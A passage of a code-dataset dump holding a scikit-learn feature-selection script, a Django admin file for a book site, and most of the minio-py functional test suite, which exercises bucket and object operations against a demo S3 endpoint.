{"api_name": "unittest.mock.patch.object", "line_number": 58, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 58, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 59, "usage_type": "call"}, {"api_name": "trestle.cli.run", "line_number": 60, "usage_type": "call"}, {"api_name": "trestle.cli", "line_number": 60, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 64, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 67, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 67, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 68, "usage_type": "call"}, {"api_name": "trestle.cli.run", "line_number": 69, "usage_type": "call"}, {"api_name": "trestle.cli", "line_number": 69, "usage_type": "name"}]} +{"seq_id": "49717924", "text": "#import libraries\r\nimport numpy as np\r\nimport pandas as pd\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\n#Taking the best alhorithm and optimalize\r\n#Choosing the most important variables\r\nfrom sklearn.feature_selection import RFE\r\nfrom sklearn.cross_validation import cross_val_score\r\nnrse_all = []\r\nfor m in np.arange(0,17):\r\n nrse_loop =[]\r\n for n in np.arange(5, 17, 1):\r\n selector = RFE(LinReg, n, 1)\r\n cv = cross_val_score(LinReg, X_train.iloc[:, selector.fit(X_train, Y_train).support_], Y_train, cv = 10, scoring = 'neg_mean_squared_error')\r\n nrse_loop.append(cv.mean())\r\n nrse_all.append(nrse_loop)\r\nnrse = pd.DataFrame(nrse_all, columns = np.arange(5,17,1))\r\nprint(nrse.agg(['mean']))\r\n\r\nselector = RFE(LinReg, 7, 1)\r\ncols = X_train.iloc[:, selector.fit(X_train, Y_train).support_].columns\r\nprint (cols)\r\n\r\n#Sceond fitting\r\nLinReg2 = LinearRegression()\r\nLinReg2.fit(X_train[cols], Y_train)\r\n\r\nLinReg2Pred = LinReg2.predict(X_train[cols])\r\n\r\nLinReg2Score = sqrt(mean_squared_error(Y_train, LinReg2Pred))\r\n\r\nprint('Linear Regression score: ',LinReg2Score)", "sub_path": "4. TakingMostImportantVariables.py", "file_name": "4. TakingMostImportantVariables.py", "file_ext": "py", "file_size_in_byte": 1101, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "warnings.filterwarnings", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.feature_selection.RFE", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.feature_selection.RFE", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "156923979", "text": "import re\nimport datetime\nfrom django.contrib import admin\nfrom .models import Book,Author,Category,Chapter,Comment\n# Register your models here.\n\n\nclass AuthorAdmin(admin.ModelAdmin):\n list_display = ['Name','birth']\n search_fields = ['Name']\n\n\n\nclass ChapterInlines(admin.TabularInline):\n model = Chapter\n classes = ['collapse'] #collapse : Cuộn nội dung này\n extra = 0\nclass CommentInline(admin.TabularInline):\n model = Comment\n classes = ['collapse'] #collapse : Cuộn nội dung này\n extra = 0\n\n\n\nclass BookAdmin(admin.ModelAdmin):\n list_display = ['BookName' ,'createDate'] # Hiển thị của book trên trang admin\n list_filter = ['createDate'] #Thanh bar dọc tìm kiếm theo ngày\n search_fields = ['BookName'] # thanh search bar tìm kiếm theo tên sách\n fieldsets = [\n ('Tên Sách',{'fields':['BookName']}),('Ngày tạo',{'fields':['createDate']}),\n ('Mô tả', {'fields': ['description']}),\n ('Trạng thái',{'fields': ['status']}),\n ('Bìa sách',{'fields':['imageBook']}),('Tác giả',{'fields':['author']}),\n ('Thể loại',{'fields':['category'],'classes': ['collapse']}), # Phân chia các trường trên trang admin\n ('Lượt xem', {'fields': ['click']})\n ]\n inlines = [ChapterInlines,CommentInline,] # Đưa chapter vào Book trên trang admin\n\n def save_model(self, request, obj, form, change):\n obj.save()\n so = 0\n chap = obj.chapter_set.all()\n if len(chap) != 0:\n so = chap[len(chap)-1].order\n\n for afile in request.FILES.getlist('multiple'):\n # name = afile.name.split(\"/\")\n # name = name[-1].split(\".\")\n # # name = name[0]\n # line = afile.readline().decode('utf-8').rstrip()\n # while not line:\n # line = afile.readline().rstrip().decode('utf-8').rstrip().strip()\n\n # line = line.replace(\":\", \" \")\n so +=1\n line = \"Chương \" + str(so)\n\n instance = Chapter(title = line ,book = obj , content = afile,order = so)\n instance.save()\n\n\nadmin.site.register(Book,BookAdmin) #Tích hợp BookAdmin đã tạo ở trên\nadmin.site.register(Author,AuthorAdmin)\nadmin.site.register(Category)\nadmin.site.register(Comment)", "sub_path": "home/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 2313, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 8, "usage_type": "name"}, {"api_name": "django.contrib.admin.TabularInline", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 14, "usage_type": "name"}, {"api_name": "models.Chapter", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.admin.TabularInline", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 18, "usage_type": "name"}, {"api_name": "models.Comment", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 25, "usage_type": "name"}, {"api_name": "models.Chapter", "line_number": 58, "usage_type": "call"}, {"api_name": "django.contrib.admin.site.register", "line_number": 62, "usage_type": "call"}, {"api_name": "models.Book", "line_number": 62, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 62, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 62, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Author", "line_number": 63, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 63, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 63, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Category", "line_number": 64, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 64, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 64, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Comment", "line_number": 65, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 65, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 65, "usage_type": "name"}]} +{"seq_id": "545746046", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Minio Python Library for Amazon S3 Compatible Cloud Storage,\n# (C) 2015, 2016, 2017 Minio, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nfrom sys import exit\nimport uuid\nimport shutil\nimport inspect\nimport json\nfrom random import random\n\nfrom string import ascii_lowercase\nimport time\nimport traceback\nfrom datetime import datetime, timedelta\n\nimport urllib3\nimport certifi\n\nfrom minio import Minio, PostPolicy, CopyConditions\nfrom minio.policy import Policy\nfrom minio.error import (APINotImplemented, ResponseError, PreconditionFailed,\n BucketAlreadyOwnedByYou, BucketAlreadyExists)\n\nclass LimitedRandomReader(object):\n \"\"\"\n LimitedRandomReader returns a Reader that upon read\n returns random data, but stops with EOF after *limit*\n bytes.\n\n LimitedRandomReader is compatible with BufferedIOBase.\n\n returns a class:`LimitedRandomReader` that upon read\n provides random data and stops with EOF after *limit*\n bytes\n\n :param limit: Trigger EOF after limit bytes.\n \"\"\"\n def __init__(self, limit):\n self._limit = limit\n self._offset_location = 0\n\n def read(self, amt=64*1024):\n \"\"\"\n Similar to :meth:`io.read`, with amt option.\n\n :param amt:\n How much of the content to read.\n \"\"\"\n # If offset is bigger than size. Treat it as EOF return here.\n if self._offset_location == self._limit:\n # return empty bytes to indicate EOF.\n return b''\n\n # make translation table from 0..255 to 97..122\n bal = [c.encode('ascii') for c in ascii_lowercase]\n amt = min(amt, self._limit - self._offset_location)\n data = b''.join([bal[int(random() * 26)] for _ in range(amt)])\n self._offset_location += len(data)\n return data\n\nclass LogOutput(object):\n \"\"\"\n LogOutput is the class for log output. It is required standard for all\n SDK tests controlled by mint.\n Here are its attributes:\n 'name': name of the SDK under test, e.g. 'minio-py'\n 'function': name of the method/api under test with its signature\n The following python code can be used to\n pull args information of a and to\n put together with the method name:\n .__name__+'('+', '.join(args_list)+')'\n e.g. 'remove_object(bucket_name, object_name)'\n 'args': method/api arguments with their values, in\n dictionary form: {'arg1': val1, 'arg2': val2, ...}\n 'duration': duration of the whole test in milliseconds,\n defaults to 0\n 'alert': any extra information user is needed to be alerted about,\n like whether this is a Blocker/Gateway/Server related\n issue, etc., defaults to None\n 'message': descriptive error message, defaults to None\n 'error': stack-trace/exception message(only in case of failure),\n actual low level exception/error thrown by the program,\n defaults to None\n 'status': exit status, possible values are 'PASS', 'FAIL', 'NA',\n defaults to 'PASS'\n \"\"\"\n\n PASS = 'PASS'\n FAIL = 'FAIL'\n NA = 'NA'\n\n def __init__(self, meth, test_name):\n self.__args_list = inspect.getargspec(meth).args[1:]\n self.__name = 'minio-py:'+test_name\n self.__function = meth.__name__+'('+', '.join(self.__args_list)+')'\n self.__args = {}\n self.__duration = 0\n self.__alert = ''\n self.__message = None\n self.__error = None\n self.__status = self.PASS\n self.__start_time = time.time()\n @property\n def name(self): return self.__name\n @property\n def function(self): return self.__function\n @property\n def args(self): return self.__args\n\n @name.setter\n def name(self, val): self.__name = val\n @function.setter\n def function(self, val): self.__function = val\n @args.setter\n def args(self, val): self.__args = val\n\n def json_report(self, err_msg='', alert='', status=''):\n self.__args = {k: v for k, v in self.__args.items() if v and v != ''}\n entry = {'name': self.__name,\n 'function': self.__function,\n 'args': self.__args,\n 'duration': int(round((time.time() - self.__start_time)*1000)),\n 'alert': str(alert),\n 'message': str(err_msg),\n 'error': traceback.format_exc() if err_msg and err_msg != '' else '',\n 'status': status if status and status != '' else \\\n self.FAIL if err_msg and err_msg != '' else self.PASS\n }\n return json.dumps({k: v for k, v in entry.items() if v and v != ''})\n\ndef generate_bucket_name():\n return \"minio-py-test-\" + uuid.uuid4().__str__()\n\ndef test_make_bucket(client, log_output):\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n\n is_s3 = client._endpoint_url.startswith(\"s3.amazonaws\")\n try:\n # Create a bucket\n client.make_bucket(bucket_name)\n # Check if bucket was created properly\n client.bucket_exists(bucket_name)\n # Remove bucket\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n\n if is_s3:\n try:\n log_output.args['location'] = location = 'us-east-1'\n client.make_bucket(bucket_name+'.unique', location)\n except BucketAlreadyOwnedByYou as err:\n # Expected this exception. Test passes\n pass\n except BucketAlreadyExists as err:\n # Expected this exception. Test passes\n pass\n except Exception as err:\n raise Exception(err)\n try:\n client.remove_bucket(bucket_name+'.unique')\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_list_buckets(client, log_output):\n # Get a unique bucket_name\n bucket_name = generate_bucket_name()\n\n try:\n client.make_bucket(bucket_name)\n # List all buckets.\n buckets = client.list_buckets()\n for bucket in buckets:\n # bucket object should be of a valid value.\n if bucket.name and bucket.creation_date:\n continue\n raise ValueError('list_bucket api failure')\n except Exception as err:\n raise Exception(err)\n finally:\n client.remove_bucket(bucket_name)\n # Test passes\n print(log_output.json_report())\n\ndef test_fput_object_small_file(client, testfile, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n log_output.args['file_path'] = testfile\n log_output.args['metadata'] = metadata = {'x-amz-storage-class': 'STANDARD_IA'}\n is_s3 = client._endpoint_url.startswith(\"s3.amazonaws\")\n try:\n client.make_bucket(bucket_name)\n # upload local small file.\n if is_s3:\n client.fput_object(bucket_name, object_name+'-f', testfile,\n metadata)\n else:\n client.fput_object(bucket_name, object_name+'-f', testfile)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name+'-f')\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_fput_large_file(client, largefile, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n log_output.args['file_path'] = largefile\n log_output.args['metadata'] = metadata = {'x-amz-storage-class': 'STANDARD_IA'}\n is_s3 = client._endpoint_url.startswith(\"s3.amazonaws\")\n # upload local large file through multipart.\n try:\n client.make_bucket(bucket_name)\n if is_s3:\n client.fput_object(bucket_name, object_name+'-large', largefile,\n metadata)\n else:\n client.fput_object(bucket_name, object_name+'-large', largefile)\n\n client.stat_object(bucket_name, object_name+'-large')\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name+'-large')\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_copy_object(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n object_name = uuid.uuid4().__str__()\n log_output.args['object_source'] = object_source = object_name+'-source'\n log_output.args['object_name'] = object_copy = object_name+'-copy'\n try:\n client.make_bucket(bucket_name)\n # Upload a streaming object of 1MiB\n KB_1 = 1024 # 1KiB.\n KB_1_reader = LimitedRandomReader(KB_1)\n client.put_object(bucket_name, object_source, KB_1_reader, KB_1)\n # Perform a server side copy of an object\n client.copy_object(bucket_name, object_copy,\n '/'+bucket_name+'/'+object_source)\n\n client.stat_object(bucket_name, object_copy)\n try:\n # Perform a server side copy of an object with pre-conditions and fail\n etag = 'test-etag'\n copy_conditions = CopyConditions()\n copy_conditions.set_match_etag(etag)\n log_output.args['conditions'] = {'set_match_etag': etag}\n client.copy_object(bucket_name, object_copy,\n '/'+bucket_name+'/'+object_source,\n copy_conditions)\n except PreconditionFailed as err:\n if err.message != 'At least one of the preconditions you specified did not hold.':\n raise Exception(err)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_source)\n client.remove_object(bucket_name, object_copy)\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_put_object(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n client.make_bucket(bucket_name)\n # Put/Upload a streaming object of 1MiB\n log_output.args['length'] = MB_1 = 1024*1024 # 1MiB.\n MB_1_reader = LimitedRandomReader(MB_1)\n log_output.args['data'] = 'LimitedRandomReader(MB_1)'\n client.put_object(bucket_name, object_name, MB_1_reader, MB_1)\n client.stat_object(bucket_name, object_name)\n # Put/Upload a streaming object of 11MiB\n log_output.args['length'] = MB_11 = 11*1024*1024 # 11MiB.\n MB_11_reader = LimitedRandomReader(MB_11)\n log_output.args['data'] = 'LimitedRandomReader(MB_11)'\n log_output.args['metadata'] = metadata = {'x-amz-meta-testing': 'value'}\n content_type='application/octet-stream'\n client.put_object(bucket_name,\n object_name+'-metadata',\n MB_11_reader,\n MB_11,\n content_type,\n metadata)\n # Stat on the uploaded object to check if it exists\n # Fetch saved stat metadata on a previously uploaded object with metadata.\n st_obj = client.stat_object(bucket_name, object_name+'-metadata')\n if 'X-Amz-Meta-Testing' not in st_obj.metadata:\n raise ValueError(\"Metadata key 'x-amz-meta-testing' not found\")\n value = st_obj.metadata['X-Amz-Meta-Testing']\n if value != 'value':\n raise ValueError('Metadata key has unexpected'\n ' value {0}'.format(value))\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name)\n client.remove_object(bucket_name, object_name+'-metadata')\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_remove_object(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n client.make_bucket(bucket_name)\n KB_1 = 1024 # 1KiB.\n KB_1_reader = LimitedRandomReader(KB_1)\n client.put_object(bucket_name, object_name, KB_1_reader, KB_1)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name)\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_get_object(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n newfile = 'newfile جديد'\n MB_1 = 1024*1024 # 1MiB.\n MB_1_reader = LimitedRandomReader(MB_1)\n client.make_bucket(bucket_name)\n client.put_object(bucket_name, object_name, MB_1_reader, MB_1)\n # Get/Download a full object, iterate on response to save to disk\n object_data = client.get_object(bucket_name, object_name)\n with open(newfile, 'wb') as file_data:\n # What is the point of copy? Do we want to verify something?\n shutil.copyfileobj(object_data, file_data)\n\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n os.remove(newfile)\n client.remove_object(bucket_name, object_name)\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_fget_object(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n log_output.args['file_path'] = newfile_f = 'newfile-f 新'\n try:\n MB_1 = 1024*1024 # 1MiB.\n MB_1_reader = LimitedRandomReader(MB_1)\n client.make_bucket(bucket_name)\n client.put_object(bucket_name, object_name, MB_1_reader, MB_1)\n # Get/Download a full object and save locally at path\n client.fget_object(bucket_name, object_name, newfile_f)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n os.remove(newfile_f)\n client.remove_object(bucket_name, object_name)\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_list_objects(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n client.make_bucket(bucket_name)\n MB_1 = 1024*1024 # 1MiB.\n MB_1_reader = LimitedRandomReader(MB_1)\n client.put_object(bucket_name, object_name+\"-1\", MB_1_reader, MB_1)\n MB_1_reader = LimitedRandomReader(MB_1)\n client.put_object(bucket_name, object_name+\"-2\", MB_1_reader, MB_1)\n # List all object paths in bucket.\n log_output.args['recursive'] = is_recursive = True\n objects = client.list_objects(bucket_name, None, is_recursive)\n for obj in objects:\n _, _, _, _, _, _ = obj.bucket_name,\\\n obj.object_name,\\\n obj.last_modified,\\\n obj.etag, obj.size,\\\n obj.content_type\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name+\"-1\")\n client.remove_object(bucket_name, object_name+\"-2\")\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_list_objects_v2(client, log_output):\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n client.make_bucket(bucket_name)\n MB_1 = 1024*1024 # 1MiB.\n MB_1_reader = LimitedRandomReader(MB_1)\n client.put_object(bucket_name, object_name+\"-1\", MB_1_reader, MB_1)\n MB_1_reader = LimitedRandomReader(MB_1)\n client.put_object(bucket_name, object_name+\"-2\", MB_1_reader, MB_1)\n # List all object paths in bucket using V2 API.\n log_output.args['recursive'] = is_recursive = True\n objects = client.list_objects_v2(bucket_name, None, is_recursive)\n for obj in objects:\n _, _, _, _, _, _ = obj.bucket_name,\\\n obj.object_name,\\\n obj.last_modified,\\\n obj.etag, obj.size,\\\n obj.content_type\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name+\"-1\")\n client.remove_object(bucket_name, object_name+\"-2\")\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_presigned_get_object(client, log_output):\n _http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED',\n ca_certs=certifi.where())\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n client.make_bucket(bucket_name)\n MB_1 = 1024*1024 # 1MiB.\n MB_1_reader = LimitedRandomReader(MB_1)\n client.put_object(bucket_name, object_name, MB_1_reader, MB_1)\n\n presigned_get_object_url = client.presigned_get_object(bucket_name,\n object_name)\n response = _http.urlopen('GET', presigned_get_object_url)\n if response.status != 200:\n raise ResponseError(response,\n 'GET',\n bucket_name,\n object_name).get_exception()\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name)\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_presigned_put_object(client, log_output):\n _http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED',\n ca_certs=certifi.where())\n\n # Get a unique bucket_name and object_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['object_name'] = object_name = uuid.uuid4().__str__()\n try:\n client.make_bucket(bucket_name)\n\n presigned_put_object_url = client.presigned_put_object(bucket_name,\n object_name)\n MB_1 = 1024*1024 # 1MiB.\n response = _http.urlopen('PUT', presigned_put_object_url, LimitedRandomReader(MB_1))\n if response.status != 200:\n raise ResponseError(response,\n 'PUT',\n bucket_name,\n object_name).get_exception()\n\n client.stat_object(bucket_name, object_name)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_object(bucket_name, object_name)\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_presigned_post_policy(client, log_output):\n bucket_name = generate_bucket_name()\n no_of_days = 10\n prefix = 'objectPrefix/'\n try:\n client.make_bucket(bucket_name)\n # Post policy.\n policy = PostPolicy()\n policy.set_bucket_name(bucket_name)\n policy.set_key_startswith(prefix)\n expires_date = datetime.utcnow()+timedelta(days=no_of_days)\n policy.set_expires(expires_date)\n # post_policy arg is a class. To avoid displaying meaningless value\n # for the class, policy settings are made part of the args for\n # clarity and debugging purposes.\n log_output.args['post_policy'] = {'bucket_name': bucket_name,\n 'prefix': prefix,\n 'expires_in_days': no_of_days}\n client.presigned_post_policy(policy)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_get_bucket_policy(client, log_output):\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n try:\n client.make_bucket(bucket_name)\n policy_name = client.get_bucket_policy(bucket_name)\n if policy_name != Policy.NONE:\n raise ValueError('Policy name is invalid: ' + policy_name)\n except APINotImplemented:\n print(log_output.json_report(alert='Not Implemented', status=LogOutput.NA))\n except Exception as err:\n raise Exception(err)\n else:\n # Test passes\n print(log_output.json_report())\n finally:\n try:\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n\ndef test_set_bucket_policy_readonly(client, log_output):\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['prefix'] = prefix = ''\n try:\n client.make_bucket(bucket_name)\n # Set read-only policy successfully.\n client.set_bucket_policy(bucket_name, prefix, Policy.READ_ONLY)\n # Validate if the policy is set correctly\n policy_name = client.get_bucket_policy(bucket_name)\n if policy_name != Policy.READ_ONLY:\n raise ValueError('Failed to set ReadOnly bucket policy: ' + policy_name)\n except APINotImplemented:\n print(log_output.json_report(alert='Not Implemented', status=LogOutput.NA))\n except Exception as err:\n raise Exception(err)\n else:\n # Test passes\n print(log_output.json_report())\n finally:\n try:\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n\ndef test_set_bucket_policy_readwrite(client, log_output):\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['prefix'] = prefix = ''\n try:\n client.make_bucket(bucket_name)\n # Set read-write policy successfully.\n client.set_bucket_policy(bucket_name, prefix, Policy.READ_WRITE)\n # Validate if the policy is set correctly\n policy_name = client.get_bucket_policy(bucket_name)\n if policy_name != Policy.READ_WRITE:\n raise ValueError('Failed to set ReadWrite bucket policy: ' + policy_name)\n except APINotImplemented:\n print(log_output.json_report(alert='Not Implemented', status=LogOutput.NA))\n except Exception as err:\n raise Exception(err)\n else:\n # Test passes\n print(log_output.json_report())\n finally:\n try:\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n\ndef test_no_bucket_policy(client, log_output):\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n log_output.args['prefix'] = prefix = ''\n try:\n client.make_bucket(bucket_name)\n # # Added into log output for clarity/debugging purposes\n # log_output.args['prefix-2'] = prefix = ''\n # Reset policy to NONE.\n client.set_bucket_policy(bucket_name, prefix, Policy.NONE)\n # Validate if the policy is reverted back to NONE.\n policy_name = client.get_bucket_policy(bucket_name)\n if policy_name != Policy.NONE:\n raise ValueError('Policy name is invalid: ' + policy_name)\n except APINotImplemented:\n print(log_output.json_report(alert='Not Implemented', status=LogOutput.NA))\n except Exception as err:\n raise Exception(err)\n else:\n # Test passes\n print(log_output.json_report())\n finally:\n try:\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n\ndef test_remove_objects(client, log_output):\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n try:\n MB_1 = 1024*1024 # 1MiB.\n client.make_bucket(bucket_name)\n # Upload some new objects to prepare for multi-object delete test.\n object_names = []\n for i in range(10):\n curr_object_name = \"prefix\"+\"-{}\".format(i)\n client.put_object(bucket_name, curr_object_name, LimitedRandomReader(MB_1), MB_1)\n object_names.append(curr_object_name)\n log_output.args['objects_iter'] = objects_iter = object_names\n # delete the objects in a single library call.\n for del_err in client.remove_objects(bucket_name, objects_iter):\n raise ValueError(\"Remove objects err: {}\".format(del_err))\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n # Try to clean everything to keep our server intact\n for del_err in client.remove_objects(bucket_name, objects_iter):\n raise ValueError(\"Remove objects err: {}\".format(del_err))\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef test_remove_bucket(client, log_output):\n is_s3 = client._endpoint_url.startswith(\"s3.amazonaws\")\n\n # Get a unique bucket_name\n log_output.args['bucket_name'] = bucket_name = generate_bucket_name()\n try:\n if is_s3:\n log_output.args['location'] = location = 'us-east-1'\n client.make_bucket(bucket_name+'.unique', location)\n else:\n client.make_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n finally:\n try:\n # Removing bucket. This operation will only work if your bucket is empty.\n if is_s3:\n client.remove_bucket(bucket_name+'.unique')\n else:\n client.remove_bucket(bucket_name)\n except Exception as err:\n raise Exception(err)\n # Test passes\n print(log_output.json_report())\n\ndef main():\n \"\"\"\n Functional testing of minio python library.\n \"\"\"\n\n try:\n access_key = os.getenv('ACCESS_KEY', 'Q3AM3UQ867SPQQA43P2F')\n secret_key = os.getenv('SECRET_KEY',\n 'zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG')\n server_endpoint = os.getenv('SERVER_ENDPOINT', 'play.minio.io:9000')\n secure = os.getenv('ENABLE_HTTPS', '1') == '1'\n if server_endpoint == 'play.minio.io:9000':\n access_key = 'Q3AM3UQ867SPQQA43P2F'\n secret_key = 'zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG'\n secure = True\n\n is_s3 = server_endpoint.startswith(\"s3.amazonaws\")\n client = Minio(server_endpoint, access_key, secret_key, secure=secure)\n # Check if we are running in the mint environment.\n data_dir = os.getenv('DATA_DIR')\n if data_dir == None:\n os.environ['DATA_DIR'] = data_dir = '/mint/data'\n is_mint_env = (os.path.exists(data_dir) and\n os.path.exists(os.path.join(data_dir, 'datafile-1-MB')) and\n os.path.exists(os.path.join(data_dir, 'datafile-11-MB')))\n\n # Enable trace\n # import sys\n # client.trace_on(sys.stderr)\n\n testfile = 'datafile-1-MB'\n largefile = 'datafile-11-MB'\n if is_mint_env :\n ## Choose data files\n testfile = os.path.join(data_dir, 'datafile-1-MB')\n largefile = os.path.join(data_dir, 'datafile-65-MB')\n 